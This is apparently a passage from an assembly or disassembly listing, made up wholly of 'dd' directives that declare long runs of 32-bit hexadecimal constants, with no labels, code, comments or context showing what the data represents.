		dd 0C7C194CBh, 0BD03447Dh, 25688B3Bh, 5CCA4C80h, 0C5A0605h
		dd 8E348053h, 6A0EF6A9h, 203B8B24h, 0FD61B66Bh,	75EA006Ch
		dd 4AE0390Dh, 0F5EE4BBCh, 0CF3AA200h, 9E420949h, 35BE03E4h
		dd 0EC6D2813h, 59265EB8h, 0D085BF00h, 15097711h, 992300DFh
		dd 6FF6AEA5h, 2D1879F1h, 9CA4BF0Ch, 450A001Fh, 82FF42D2h
		dd 0B60E3D59h, 0C0180E92h, 4FB3647Fh, 25BF2626h, 931610Ch
		dd 0DC78F52Eh, 1700550Dh, 59E1CBACh, 7ECDF19h, 0FB8C3248h
		dd 43C780DDh, 0D200B68Bh, 0BB5807D4h, 7EC33B76h, 64F83954h
		dd 0D57D1Ch, 0BCABEE12h
		dd 5848A6CAh, 0C4E900DFh, 0C52ED50h, 548300B3h,	12DE4499h
		dd 0F03B6EF7h, 27030078h, 6772B2F3h, 0A4F4F2h, 507C2CC8h
		dd 4459E5BCh, 32B88501h, 21872778h, 6F7DCh, 0DB2C1110h
		dd 0AC0B54EDh, 39E6C500h, 948D5302h, 0B4973C8h,	0D50946CAh
		dd 0E3F9B300h, 0A00001D2h, 1647275Dh, 0EC2E13h,	0EAD142E0h
		dd 1EACF70Fh, 5A3AC100h, 286E95D6h, 47B53C66h, 0CDEAB080h
		dd 0E49AC396h, 20B35Ch,	40E528CBh, 50DBBDh, 0E6A8E115h
		dd 32BBFA35h, 6FFDFE1Eh, 91E71982h, 0DD14687Bh,	0C83400BCh
		dd 0F8468F3Dh, 70479CEh, 298B205Fh, 0AC68A0h, 22A63B9Ch
		dd 0FBE1E778h, 6BCE9509h, 97E80264h, 0F25CE0CDh, 0A0150083h
		dd 4644A6A2h, 14048799h, 5160CE36h, 130E84C0h, 0C42403F7h
		dd 1F1297B6h, 8578BF80h, 15B9605h, 38A0E2ABh, 0D5D10060h
		dd 75EF3041h, 6E00C3F6h, 0F98A2A05h, 180E6578h,	0A1AF1656h
		dd 0ED0BD81Bh, 26BF2B4h, 0C08B5C4Bh, 3068D657h,	1C701492h
		dd 49008695h, 3DEF02EBh, 0E5B5E0h, 0EA14E8CAh, 0DB038794h
		dd 81B1F800h, 55066013h, 1F6F00D2h, 0E7ABF218h,	3300D769h
		dd 0F52E821Dh, 0F3DA7FAh, 63E913A4h, 9DAA8Ah, 881950E0h
		dd 4A00D527h, 34520A7Ah, 3CD942Fh, 23BE3364h, 1800CA90h
		dd 768DBB1Ah, 3E41CC9h,	46BD4EE9h, 0D9E83340h, 42003560h
		dd 0F3895717h, 0E63AC3h, 4019E04Ch, 0C42DCFFDh,	4B0058B8h
		dd 10EDCD6Ch, 13EFF63Bh, 409FDBBCh, 1BB54AADh, 0A6A16FCEh
		dd 3044312Ah, 0E002913h, 2C3766B9h, 1FD4479Ch, 0C07106DCh
		dd 8851F07Ch, 0B22CD793h, 202DC8ADh, 6CD15464h,	0C28A3F1Bh
		dd 7E10E301h, 0BDDE127Bh, 0FA4E006Eh, 0FFA56B82h, 71B400FEh
		dd 0D6B88D8Ah, 300D241h, 46C854DAh, 19D8421h, 7132B0EDh
		dd 0F866CFA9h, 0A8001556h, 5A8706BFh, 750F1ECh,	4ECB978Eh
		dd 1C4510A9h, 6A0064DBh, 0A77A7F49h, 24B96D50h,	164BFC0h
		dd 0C5A48EF0h, 0D940C4D0h, 6FCD3400h, 0C290AFEh, 5EC1Ch
		dd 59DF3C2Ch, 60BF3E7Bh, 9E5F1A07h, 0F0903842h,	79CC2B8h
		dd 361E95CBh, 0C05445AFh, 0D55D7608h, 9E041684h, 5C540065h
		dd 67412A06h, 25A8D61Eh, 8B77D100h, 7AB5075h, 2812A0C0h
		dd 80DE7F2Fh, 3A90C9AFh, 0CE005355h, 69DF71B6h,	1279905h
		dd 48AF5046h, 0D83FC8E9h, 0E300742Dh, 6A61DEE5h, 0BEA0BBh
		dd 0EA724D32h, 0DFB9C0B2h, 0EC104B00h, 22E8ADB5h, 13F075h
		dd 46E5299Eh, 0A2F94DD7h, 41255B13h, 22814C5Dh,	922B7F30h
		dd 7AE9C30h, 0BF427006h, 0D9403FD7h, 89C4B8BCh,	78265800h
		dd 9DF3B9F7h, 0AFAE00F1h, 1D9E1602h, 0ED0A2421h, 0BDA06F33h
		dd 97790507h, 0E82CB593h, 0BE6735h, 714CA6Eh, 4D523B37h
		dd 3E791800h, 0B844EDB1h, 64300075h, 0E92D48D3h, 0C3B0FCAAh
		dd 953B7DFEh, 98190002h, 0C929112Fh, 5CA57D84h,	4458EC20h
		dd 53447017h, 451802E4h, 0E4E8853Fh, 8276DE99h,	0E23EBD01h
		dd 0E0CCF528h, 0C700FC38h, 2B0CF069h, 66000A72h, 292D1F02h
		dd 18B8F8h, 0CCEE15E0h,	932659EDh, 530170BCh, 0CBEA4DAAh
		dd 702ED940h, 4B372EDh,	0E2B6E73Eh, 839CA0D3h, 65D8F0C1h
		dd 0E070AB70h, 0A01D00E4h, 59DBDEC7h, 0EA2663E0h, 9405872h
		dd 8018CF01h, 0EF007C19h, 101D1B4Fh, 42D046Fh, 1115FA8Bh
		dd 90AC58h, 59C73DD2h, 1F385D1Ch, 0D14520h, 0D4020536h
		dd 7000F0A2h, 51BE90D9h, 9B64A42h, 40717CBAh, 5AC98C80h
		dd 30F33A93h, 180042D4h, 10B130B2h, 0D7ED89h, 6FDC4969h
		dd 7BC78455h, 6E9C7800h, 45FD143Fh, 7C1A0BC1h, 0DCA0ECF5h
		dd 8FF222B8h, 62106600h, 4FAFF99Fh, 0CD420075h,	15B62785h
		dd 0E301B953h, 0DF91D782h, 0E834BF5Ch, 0C43D0590h, 0D20E0A74h
		dd 806251FCh, 0E41FE048h, 0A89E1B03h, 0DCA1B6h,	164C3520h
		dd 52D401E5h, 39EFE830h, 0B03A8A6Fh, 0B811C0D9h, 7EF67638h
		dd 86EFF41Eh, 14DBEA00h, 0F25F8402h, 24A50FFCh,	9EC0E089h
		dd 0D3A97707h, 5600A17Ah, 459A2837h, 25C3A579h,	7800D6A4h
		dd 9B208527h, 0A8DC4202h, 0F99C5E04h, 4A396280h, 0C9370054h
		dd 0BCF140E0h, 0DD01526h, 0B769CAFh, 0FBFDA68Ah, 194FB04Bh
		dd 2B0FB000h, 0A42D54h,	5014E2A3h, 0F35C04EBh, 1CA5F50Eh
		dd 6152CC9Fh, 1D220CD5h, 83D03794h, 1E459500h, 8140740Bh
		dd 7823000Eh, 0F0678721h, 7C0771C6h, 189B4FDFh,	0F8977DB5h
		dd 48352830h, 2D990024h, 0A3C53DE6h, 0EA220168h, 8A4A00F5h
		dd 0BEACB5D0h, 37003A83h, 7AD7D2FBh, 0E87479CCh, 27810334h
		dd 825B2201h, 0A00D0D6h, 90DCC953h, 743230Dh, 1B17E4Eh
		dd 6AE3C084h, 61DCCE31h, 0C882BD80h, 1881D23h, 809E5451h
		dd 0E0104D5Bh, 6F023B39h, 5DC066B6h, 9CF4A568h,	905A1082h
		dd 5AB04F54h, 0DD94446Eh, 8FE540D3h, 3D9F81E6h,	9A80A38Eh
		dd 0FBCB54A6h, 0B9040134h, 24965D04h, 5580ECC0h, 3A78C04Fh
		dd 9190693Bh, 62F2831Fh, 0EBBCAE44h, 1993F8B0h,	987BEE7Ah
		dd 2FD42810h, 84D001EAh, 60D2BD9Ah, 58D900h, 0C9B4F06Ch
		dd 0E8420864h, 2D0188ECh, 0E361492Ch, 4345648h,	0FB820CEEh
		dd 0AA20B762h, 0CEFE3070h, 0C2361201h, 237603A3h, 52002BC2h
		dd 3B6ED12Bh, 8AD20809h, 0C558219Fh, 80501E7Bh,	178F9196h
		dd 0C775CB9Eh, 8A8E8004h, 0B14A9AD1h, 0DD06FC80h, 16413011h
		dd 0C351EF41h, 4E0FE1E8h, 6230FA15h, 564107C8h,	728C8024h
		dd 4B6C5D1h, 72BD58h, 0BFA98423h, 0ED9BD3h, 2A126415h
		dd 78D8DEC3h, 36B23900h, 0A5D690CFh, 139F7783h,	0D07F31AAh
		dd 72A4D88h, 7AA9F80Fh,	0C521004Ah, 7FF4051h, 0C68DE205h
		dd 3D7D306Ah, 0B80BE698h, 80CD6837h, 0B417049Ch, 0CB75CFh
		dd 0F6BC6330h, 9786276Ah, 0E33A8D00h, 0C7B534C2h, 0E0D4068Eh
		dd 0E8010672h, 0A724500Fh, 0BB422008h, 96651E64h, 0FE7901B8h
		dd 609DD8A2h, 15000824h, 0B1A880EDh, 49E7CCh, 53CB23D1h
		dd 7F2205EAh, 98CA0D1Ch, 0E5384Bh, 788DAC20h, 0F15E0007h
		dd 4112A3F7h, 3B071DE0h, 84EB5F0h, 1B5A55E0h, 5C1E0052h
		dd 1D9B400Fh, 0CC9267F1h, 42BD805h, 0E4433C19h,	0C355877Dh
		dd 0C0FFAF11h, 0C7AE766h, 8B9402D2h, 0CD4164E3h, 93C9F080h
		dd 0B300E861h, 0E110A50h, 0EAAB2CD7h, 0AC5500CCh, 3CCDD44Bh
		dd 0FC009753h, 0AB12044h, 3976CF35h, 0E18393CEh, 8A53F672h
		dd 0CB3362E8h, 508B4C0Ch, 0C62961h, 0E80F091Eh,	0EEB29B3Ah
		dd 2986AB07h, 0BF60B325h, 809589h, 0D46F3FB4h, 0CAEC506Dh
		dd 1E00DB70h, 322F3752h, 92FCE9CEh, 2FAF5CDCh, 65C61C02h
		dd 54483B9Eh, 7E1F3447h, 58CBC980h, 57740015h, 3A335B8Eh
		dd 7D80955Ch, 0F84E6E9Dh, 72001186h, 4BC57534h,	2B90249h
		dd 22F76687h, 0B2E3E147h, 8EF16FB0h, 37D6700h, 0D792FC2Ah
		dd 4CDD1611h, 80B048EDh, 0B06AA509h, 0E8ED422Ch, 4CD49A43h
		dd 0BB09B4CFh, 0BC80AC3Dh, 8146949Ch, 0E983858h, 0E1AF0C83h
		dd 0D4FEA2A5h, 43BAB30h, 9FC4B568h, 0CDB0D090h,	0DA1E6D21h
		dd 1E4017C3h, 0BCD1E5BFh, 9577C40h, 58996547h, 4F0028D0h
		dd 9F2BFCDh, 2C2722D8h,	485678h, 7E68F1B7h, 6A05EE0Eh
		dd 0D781F798h, 0BA13A980h, 762B16E0h, 16504AC8h, 341389h
		dd 8942D0DCh, 0B47A6F9Fh, 7B4CC8B2h, 0EE5E09CCh, 0D6C000BAh
		dd 11CB90h, 3063462Fh, 7052D7A0h, 64C28915h, 0E09600D0h
		dd 732E2AB1h, 59D82F9Ah
		dd 41DFF085h, 2039A394h, 1EB7FC95h, 6343DE09h, 83B8A9ACh
		dd 0E1A7F768h, 1530C84Dh, 44300065h, 1B4E3FFAh,	0B438E1ABh
		dd 0C073B0E4h, 0BD3B380h, 0FC4D27FBh, 88F02898h, 0C75C9984h
		dd 92C851B6h, 0C5F43259h, 30984A46h, 583406CBh,	416A44E7h
		dd 1E8ED4Dh, 0FD0E553h,	0A850A816h, 889E6C31h, 0ED0043D7h
		dd 9F7E3D04h, 58889C85h, 604C4108h, 0E8322Ch, 0E3BD5B2Eh
		dd 9800430Bh, 19D9AF17h, 7760E99Bh, 0EAB30081h,	92B6C371h
		dd 0A4008E7Eh, 0F4ED8346h, 0E80F627h, 41D709D2h, 5BDF0E40h
		dd 2B711879h, 3774ED05h, 2087A0CCh, 0A3EABFB0h,	0B4911F8Dh
		dd 0D0754B03h, 0FD40A800h, 8900DDD6h, 5E94A2Dh,	3AD3B8ECh
		dd 0A026D209h, 1CD8B9FCh, 0F328A1A0h, 0A4880154h, 24407304h
		dd 1C904F8Eh, 0A0CB3D4Dh, 0FA51329Bh, 7EFB3C7Ah, 0C594568Bh
		dd 87C0100Ah, 70B09758h, 0ECD81791h, 0DBC38428h, 3944A800h
		dd 86216B8Ch, 5CC00A0h,	2D7CF5BCh, 2426F2E8h, 1A00B15Ch
		dd 0B366EEC7h, 7D3E009Ah, 2B30EBCEh, 1E0057E6h,	6CF5E013h
		dd 678B8Ah, 0AC257C06h,	77A780Eh, 0AFB43500h, 593BC265h
		dd 609B28CAh, 3DFEACh, 13C442FAh, 3C21A723h, 83D2611Fh
		dd 2928FC40h, 3B96436h,	0F046DD53h, 0AEE044BFh,	8C396D77h
		dd 7C7D81F9h, 5937AD3Dh, 78E1DE80h, 2D8AAC8Bh, 10276800h
		dd 767C24D3h, 98845093h, 0E5B00F5h, 6982152Eh, 0E41329CAh
		dd 6200D645h, 0DC6CF4A7h, 1C940087h, 0BC96B146h, 497B9130h
		dd 6DF21700h, 74E869F5h, 944D0B08h, 0B880AC9Eh,	5023B2C2h
		dd 68933E4Ah, 906BD814h, 397C00C7h, 8C2D72C5h, 5000209h
		dd 0EFB1A457h, 0CCF53Ch, 0E9ACD23Bh, 9F980153h,	828A8C02h
		dd 60C56752h, 9AED6Ch, 2DDDB91Dh, 6C12832Fh, 0A3F43DB0h
		dd 6510A097h, 0BA09D094h, 337EED8h, 7B4B9828h, 71B8A205h
		dd 8D48F70Ch, 6CB80008h, 3568FFCCh, 98673D2Bh, 2D7FEA80h
		dd 64291F45h, 5360310Ch, 50FB206Fh, 1099437h, 0DB818CE6h
		dd 0D4056D12h, 4E00359Ah, 5F419B17h, 1CF3751h, 0CD182DD7h
		dd 0D457E57Bh, 0C960B81Bh, 0B01F2C48h, 0FCCF6E1h, 782E52A9h
		dd 820B2820h, 0EE005965h, 891B3167h, 2C7A6137h,	42582902h
		dd 8048A515h, 0B273457Dh, 9399E0C0h, 260D98C4h,	0B008E1h
		dd 9449D85Eh, 0CE00D141h, 88EA17D4h, 12F51BBh, 4FEFCB74h
		dd 0E4C3A536h, 4501F892h, 93DF998Ah, 0C021162Bh, 1F307BDCh
		dd 1ECB0829h, 0E13C386h, 0BCE885ABh, 6B4C53DCh,	0A66D16B4h
		dd 14F5438h, 42ABE94h, 348CA02Fh, 1000DC4h, 54A89A18h
		dd 5CCB43Bh, 10FC32F1h,	932488EAh, 0AA138EECh, 4057B0h
		dd 0BD72B237h, 0C94F0E5Ah, 4620C089h, 0CE3677BAh, 0A81E4900h
		dd 0A9C26F38h, 8681CB37h, 0D8400789h, 0D1015FDAh, 65CB1227h
		dd 78139DF9h, 0D406CDB0h, 0A37DA325h, 897F2048h, 2F89E26h
		dd 30C04D2Ah, 1439E527h, 390C3049h, 0E800014Bh,	0DB4D79BBh
		dd 0F1BD6013h, 96F76BDDh, 0F37631C1h, 3C6226E9h, 30469700h
		dd 7DDCC487h, 88903808h, 0BBB0BEEh, 230AD209h, 0D8730F99h
		dd 0B853D6h, 449282F4h,	74926906h, 0EC38BB2Ch, 404A3486h
		dd 77960071h, 0E5087CEDh, 5D7762D9h, 0B7002CB0h, 3314E2B3h
		dd 283B01DBh, 0A1ADB6F1h, 0A3E8237Ch, 31E2012Ch, 8CC51CB8h
		dd 1D1BDC3Fh, 9BF00800h, 822C4A53h, 3C68585Bh, 47E42807h
		dd 98C1D567h, 8F47CD88h, 85D08A80h, 64B23795h, 6EE2B700h
		dd 2655429Fh, 66511676h, 386C7090h, 0CFF66173h,	0E2278602h
		dd 898AFF6Bh, 1D30D3BEh, 5787BB7Fh, 471779E0h, 5BF012D3h
		dd 0DB056850h, 21FE153Fh, 20114CD8h, 20CBE0Ch, 6E85C84h
		dd 73A70085h, 5D42AB32h, 0BB00FA5Bh, 0DC07181Eh, 0B6A332Bh
		dd 0AA3FB94Ah, 0E4A40881h, 4AD43811h, 589B5022h, 0C5A300D4h
		dd 19640C60h, 0BDF40BCBh, 0EB6C1500h, 13A6B10Eh, 0E95B01DAh
		dd 0EEF4B20Dh, 528960EAh, 0E0008972h, 3429F7A4h, 15A34Fh
		dd 95C61EFh, 241AAB28h,	6A6E8CC1h, 118040F5h, 0E325F67Ch
		dd 0A4126472h, 64F08E04h, 38B51210h, 132893DAh,	78F016D2h
		dd 0CD92F1C1h, 0E05269E4h, 830D934h, 0B80056F2h, 70954E22h
		dd 0D7100ECh, 0EA3CC4E0h, 30F63194h, 8049634Eh,	567C6293h
		dd 0AAF24004h, 1E3ACCB6h, 0DC38030h, 6FB3A7DAh,	7CB800B2h
		dd 8CACF9CEh, 2000D3ECh, 321B2825h, 4D174Fh, 0A629692Ch
		dd 30EDBCA1h, 8CB5E500h, 0DE3B3791h, 5B7132h, 8FDC87D5h
		dd 75882F71h, 0EB330704h, 2CBCED95h, 97780070h,	5125CADBh
		dd 0B590BA1Ah, 3CB55Ch,	0A02C04C1h, 4B403D20h, 99040084h
		dd 0FF7BE278h, 9B8F5A00h, 696C2ADFh, 0AB8A00D9h, 48EB3A89h
		dd 0C10066A9h, 3E7FC252h, 0D1967Eh, 1747389Ah, 0B04A9F72h
		dd 4603DA00h, 0D2D63076h, 441F005Dh, 0F6AF8F3Ch, 0DA7C5CEFh
		dd 0DA8F200h, 2B8D543Bh, 7974FC4Ah, 24AC0050h, 927D7C46h
		dd 0B054E2DCh, 649E2ED0h, 7E393A80h, 2CCA9566h,	40C554h
		dd 14C8266Dh, 0A70448EAh, 7DF9D140h, 0C04EECD2h, 3AA6EB48h
		dd 26032C0Ah, 4F023D22h, 8B1A1800h, 7B01A35Ah, 8C61EDE7h
		dd 19E4B0EDh, 88400025h, 0D6D8A080h, 4600C7C1h,	0F992AEA5h
		dd 3BF4F86h, 0DA83BD57h, 0A9039B8Bh, 59F3F09Ah,	0C0B1F21Ah
		dd 95443290h, 0EE30C4A1h, 0F8A8A2ECh, 2500427Bh, 9849031Ch
		dd 60DFED4Dh, 0AA7F9891h, 6A011AE4h, 0B4387B8Eh, 56608872h
		dd 9B800FA2h, 3EA0D163h, 79A19326h, 94E82B00h, 82DEE392h
		dd 3DC40CA8h, 0E0D0A514h, 6F1CFA00h, 0A8F2908h,	0F56B3DF3h
		dd 7890A301h, 0F8E796C7h, 2002B8C2h, 0EDD714A1h, 59F0C1B2h
		dd 0B0C5CF30h, 2A8607A0h, 0B097A425h, 631E3374h, 34EDCC7Dh
		dd 110B90C4h, 60FFAF94h, 0B88C7C24h, 0BF3A1240h, 26388089h
		dd 7A169310h, 0B416D5E0h, 8DD74440h, 0DF184Bh, 8F59ED02h
		dd 0ABF223FEh, 7844F700h, 0BD82E2A1h, 0DDB89Ah,	468DE0Fh
		dd 0B60547Eh, 9BFD20E4h, 0B011B618h, 5B2E8Ch, 7EFDCBA9h
		dd 1365A2D1h, 304ED300h, 0CF55DB5Eh, 6B080044h,	635A999Eh
		dd 0AE9598ADh, 0E0844FF0h, 0A0C75BE7h, 6DCC3E93h, 9B25408Fh
		dd 41505DC0h, 96130C30h, 840009F3h, 0FD33B0E4h,	80DE4E87h
		dd 3475F120h, 4B154101h, 0AA296F16h, 599FE4h, 4D3F7478h
		dd 6CDC5B58h, 0E7BEBF00h, 80969186h, 73A50099h,	15FD9C2Fh
		dd 195838EEh, 94005A68h, 1AC58033h, 0A9320063h,	66E395AEh
		dd 16004037h, 0A3090CBDh, 0DE2357h, 704CF125h, 1182450Dh
		dd 0FADA4E05h, 80A15249h, 0E18C60EAh, 80611636h, 0E090E0AEh
		dd 9C4719C0h, 0FAD8DEBh, 80944414h, 0B080C3ABh,	0CC6D4B3Ch
		dd 0A400ED4Bh, 0DCE80F91h, 2D1403B9h, 3395A80Eh, 0C285EF88h
		dd 825F9612h, 9F298C04h, 0C50294ECh, 0D86DF7A6h, 3C00E4DCh
		dd 10A0B0E3h, 0F25071C3h, 0F0520E8Ch, 1741ED75h, 0C529CE54h
		dd 4CFF30ADh, 5AD78000h, 0C2F8E7E0h, 0AC6716B2h, 974432FBh
		dd 23065720h, 0C95F3Eh,	673BBD0Ch, 2B718164h, 0B6053CE0h
		dd 0CD59CF0h, 198F0A0h,	0AC84F4C2h, 6CA6A79Bh, 0F6FE0328h
		dd 924A1BBAh, 0B4FC7840h, 1FC2428h, 0C053563Bh,	30F1E0EAh
		dd 0F09EF7Bh, 5982D365h, 0F843DE00h, 89037C44h,	0A00F2F4Bh
		dd 0E50C0F8h, 1D7B6184h, 407C8EB8h, 993CA78Dh, 0A958E46Dh
		dd 0D2DC1394h, 1C34E0A0h, 40110567h, 0D751A02h,	4B003820h
		dd 3B58C069h, 0BE5A1FF5h
		dd 0E07B16FCh, 9CE4A7DCh, 0F90B10B6h, 2547032h,	5A6A9F78h
		dd 4F9F17Eh, 8F005516h,	4A377A6Fh, 21C9A4Dh, 849F2889h
		dd 9EE2F431h, 41718981h, 6F2AD4B8h, 0FFE13A16h,	8DB6E447h
		dd 7F8E9FC0h, 531D00E9h, 0BD0AEDE7h, 0D502D2C7h, 0D1EF3243h
		dd 6990E07Bh, 1B8F02F4h, 0FE9E2D0Eh, 0EC3E80E1h, 140008ECh
		dd 937E20E1h, 4ED85D76h, 0C8DCD0F6h, 292E49EFh,	92004AEBh
		dd 5DE7C76Eh, 36FA00CAh, 6DD638F0h, 0AA0E4521h,	0C53106E8h
		dd 0C0C671h, 7B8D0h, 105A97E4h,	36AF680Eh, 0E5FA4EEEh
		dd 7A59C6C4h, 0A8E1F0C0h, 0F3C197Ch, 0F04F107Bh, 0EE00C095h
		dd 0BF09194h, 9E8B47D2h, 0F40E1414h, 0C7ECFAC4h, 0C7350ACh
		dd 0F400FF58h, 938A3BAh, 0E8E86F2Dh, 0C0FD5B52h, 7B7CAC83h
		dd 0E8C48426h, 94550100h, 3B68Ch, 0BBFE444Dh, 0F1DD5E04h
		dd 3F7D9517h, 7884C60Eh, 89705380h, 2774387Ah, 0C1744091h
		dd 3D0700B4h, 5B71EA2Fh, 0F3079F80h, 0E1B65C41h, 8F88F2E0h
		dd 0E7F0A0F1h, 0E8907A82h, 77C00338h, 0A08ED2Ch, 7C055FE0h
		dd 6AE8CF00h, 56C4AC2Bh, 2F1601FEh, 4820AB02h, 0E6E44163h
		dd 0C347E47Eh, 0AC251B17h, 771DA0C0h, 0D06701FCh, 0C0F2669Dh
		dd 0CC85D4A6h, 63F4AF14h, 80C339C0h, 372A1D54h,	2188D6h
		dd 4C32B675h, 0DE484909h, 8D70F805h, 0B985056Bh, 54373782h
		dd 0BBF78018h, 5BD7DDC2h, 0ED4F7C1Fh, 0E8AFF580h, 908CC380h
		dd 6BC52EF0h, 1CE51784h, 0B5F940B3h, 881E3974h,	3CC75703h
		dd 99E4B7ECh, 8CFC61D6h, 994100C0h, 0BDA227A3h,	980E39C5h
		dd 611CD844h, 0FA0B7CEEh, 0E0F3F020h, 0C959000Eh, 0C0A99B9Ah
		dd 5807BEE6h, 73EAB3ABh, 0F0173FD2h, 7E5F28h, 0D688482Ch
		dd 0B13EAFB7h, 0F1871D4Dh, 8A8E8Bh, 0A80517B4h,	0E1D32856h
		dd 9091F0h, 55752579h, 0B00FC06Dh, 0C5D48E27h, 0D8A09A43h
		dd 0AA670016h, 52E91ED5h, 3CF16936h, 6E85877Ch,	0D9DAEE51h
		dd 6344F840h, 5F4C013Ch, 76BFC658h, 1CD8608Ch, 0B4051401h
		dd 0E390E637h, 0C31A00D7h, 0FF39C931h, 3000652Bh, 2F255642h
		dd 0E80E6B1Ch, 0FCB8CEh, 0F124E95Dh, 0D8CB6882h, 0E6EA0600h
		dd 630E7939h, 78770020h, 26F496BEh, 100AB5Dh, 9110A423h
		dd 3F99378Ch, 0A1006DC3h, 266343F1h, 86018B15h,	83F6A3D8h
		dd 0A286D309h, 211BB9F9h, 7BFEC300h, 5497483Bh,	6AB007Dh
		dd 2F1ADAC5h, 0CB00BFAAh, 8B0CA699h, 14BE05ADh,	98AF4C94h
		dd 230A7400h, 0CF6C5439h, 48A85D00h, 0A48D72EBh, 81FAC089h
		dd 0DD53B0A9h, 1CB2E72Eh, 0DE12D381h, 1010FFA4h, 9D04114Fh
		dd 670A23AAh, 0C6F2A8C0h, 0D3D10E49h, 210FE947h, 0D2725B04h
		dd 0B4509AA4h, 0BDE3A300h, 53D5109Bh, 9C7773FDh, 0FCDA0018h
		dd 0EC9C7533h, 8F6AEB00h, 0F8D423Fh, 7E6913D4h,	199C8788h
		dd 0F359442Ch, 0AF49760Bh, 0E8421Bh, 0CE9884FCh, 859B13ADh
		dd 0BDC0033h, 0C5140763h, 0A302D5E0h, 0FEA66AFCh, 0CC508Bh
		dd 20CACED3h, 9FAD019h,	7C63D400h, 6BAFD62h, 6FB60290h
		dd 7F40FCA0h, 39E26800h, 678604D7h, 0AD7A04A9h,	3EA100A0h
		dd 1BF62517h, 97B70056h, 5CCA33Ah, 9800753Bh, 647C676Eh
		dd 0A2F627h, 2B30F026h,	92EF1C6h, 0F211D660h, 6EA775h
		dd 4A8E3FCh, 1C1F1B03h,	80D78438h, 0F0E9954Fh, 4E628D5h
		dd 8A4EAC80h, 5E889048h, 6FFAD93Ch, 9F175600h, 21CD6CBAh
		dd 9CD8026Bh, 0A726D4A1h, 3B14B870h, 13B47263h,	0DC01F360h
		dd 9B68CAAEh, 17B007Dh,	0F871A9BAh, 2052A4A3h, 0E10F7BE4h
		dd 0E2D8A761h, 0C1677ECFh, 40CE7340h, 0EE6BBE4h, 5A820414h
		dd 2E77EBA0h, 0DA3D830Fh, 0D002DE33h, 0A01E3CFDh, 0B1E9FAFCh
		dd 0D4E31838h, 68AB6031h, 3B1AEC16h, 0F8F310A5h, 5802704Ch
		dd 0B61E4486h, 40AB1CC9h, 157A60B8h, 38EC3C5Dh,	589FA83Fh
		dd 5400D6E8h, 6B42B6AAh, 8F40005Bh, 331D6E53h, 1700C035h
		dd 39263F5Fh, 0C45480h,	12D98607h, 0CD0FBB67h, 5100A07Ah
		dd 1D5F8B4Dh, 12B63F66h, 0DD4C91h, 6C1E4524h, 83038C0h
		dd 25285E04h, 0CC140251h, 104D27CEh, 107700F6h,	0B430D23Fh
		dd 151EA6h, 53C7700Eh, 7CEE176h, 88B5AE00h, 4CF4EE2Dh
		dd 2DCE080h, 3263367h, 2CD6291Eh, 2B085D02h, 1254D6A8h
		dd 0C0A4F53Ch, 0A01C1F52h, 0AF8525h, 0A6E97620h, 0BAE406h
		dd 354CD2D5h, 0E3F2A180h, 0BBFFF00h, 40D30A9Dh,	0C86D3FB0h
		dd 814812ACh, 0CB580510h, 6299EC59h, 6D018FF8h,	3C7BCD96h
		dd 0A06E7FD8h, 0E60036A8h, 5EEEB64Dh, 0A6F105h,	5C24DF10h
		dd 96B92CFh, 9E658601h,	0D3D667AEh, 1250470h, 8F06EBB9h
		dd 878355CBh, 0B6870D71h, 0EE48B3F0h, 8310ADC5h, 0FB495B8Eh
		dd 0A2E61A7h, 9558240Bh, 35A9E60Eh, 3270E703h, 0D57D60CFh
		dd 3FD14B8h, 86CEBEFFh,	0D3A794B6h, 7F8736CBh, 0EE0ED421h
		dd 0AA8AFC19h, 76423306h, 28403079h, 9030092Dh,	0E7830033h
		dd 0D526928Eh, 73606B0Fh, 2A327929h, 0E4EA4A0Eh, 4A01C9E4h
		dd 0EB912B83h, 88E206Bh, 0A5D4267Dh, 0F9409C5Ch, 8930A10Bh
		dd 912EE180h, 0F9104FB9h, 727A1700h, 0AEBCD522h, 49AA00BEh
		dd 298D884Bh, 300C80Ch,	57EDBDA5h, 3BB867h, 3ABC2AA8h
		dd 72B0F704h, 0B300A5E4h, 407BA058h, 5C9D7EA6h,	5524E9D3h
		dd 0A48140F4h, 0A0006837h, 733AF01Dh, 309ACAC9h, 3E725FD4h
		dd 1805E341h, 0B386683Ch, 0C5337000h, 16CB905h,	96530CCBh
		dd 8CD1BCC0h, 29B58420h, 25B70161h, 4A7D44EEh, 67BCD027h
		dd 28C032B0h, 0FE96EC90h, 0E5620465h, 0C185AC1Bh, 0C0E2F6D6h
		dd 0CB07F3D1h, 0FD616457h, 0C08C0563h, 74FA27h,	0ED0EE7A5h
		dd 16D77DA0h, 0D1C05577h, 2BF72248h, 519500C5h,	0DBB9F89Eh
		dd 60CBC7Bh, 290C53A4h,	0F93000CCh, 0F804CB3Fh,	7E7925C6h
		dd 8C20C801h, 71C07C27h, 79BDA0DBh, 0FD3730BCh,	6CF09039h
		dd 80D85227h, 16647AD8h, 3C37004Bh, 0A209949Fh,	0F500827Eh
		dd 428B3173h, 0A8B28504h, 0E9C488h, 1EB62C4Dh, 96D4E2C2h
		dd 0DD8CE501h, 4C11E6BEh, 1DB10C20h, 40FFB8A5h,	0B5E93BF8h
		dd 330090F1h, 0B944229Fh, 1E690D36h, 53CE7552h,	0BB03FBF5h
		dd 0A816B2ECh, 135A2370h, 0E266EFh, 865ECFC0h, 6E30B92Ah
		dd 0AA360878h, 624E002Bh, 0EDE848D9h, 29E6A323h, 1393E06h
		dd 2280D31h, 0BDC9ADD6h, 2D401576h, 0EC78A4CEh,	0ABAF1800h
		dd 58747D5h, 1CB70791h,	346677Dh, 0A0009F43h, 10E4772Ah
		dd 18B473Bh, 554B8964h,	0C43DF376h, 1B00DFE2h, 4DB71CB0h
		dd 0EC0A437h, 473F6E0Fh, 0DCEE0D83h, 3D25CEE8h,	12BAF1C0h
		dd 73D537h, 0B8DAF944h,	0F6F8FC8Dh, 0C330800h, 2E65EDABh
		dd 0B0500195h, 0CE0D4622h, 56F8F0D3h, 0BE21820Eh, 0FF2A025h
		dd 0C3B65A5Fh, 9A77E58h, 312A0EA0h, 96656E05h, 0E083D2D6h
		dd 0C00800C2h, 0E2E6081h, 0E13A7EBCh, 0DA730007h, 0E35AB575h
		dd 0E5F0E3B2h, 0DCD8F904h, 7FB73AB0h, 3AB67E7Ch, 0E30D627h
		dd 147E4710h, 5AF27500h, 0C4E91D2Eh, 0BEA40EA6h, 0B50EED0Fh
		dd 0B3B02FE0h, 0B60ED260h, 12E7EB7h, 4DE6345h, 740E6D70h
		dd 0ED080314h, 0E0A1470Bh, 2FA0BDE0h, 733FAAECh, 5BE202D8h
		dd 92E102DFh, 77043D64h, 0DC5A8EC1h, 3FE91083h,	0C8B87EEDh
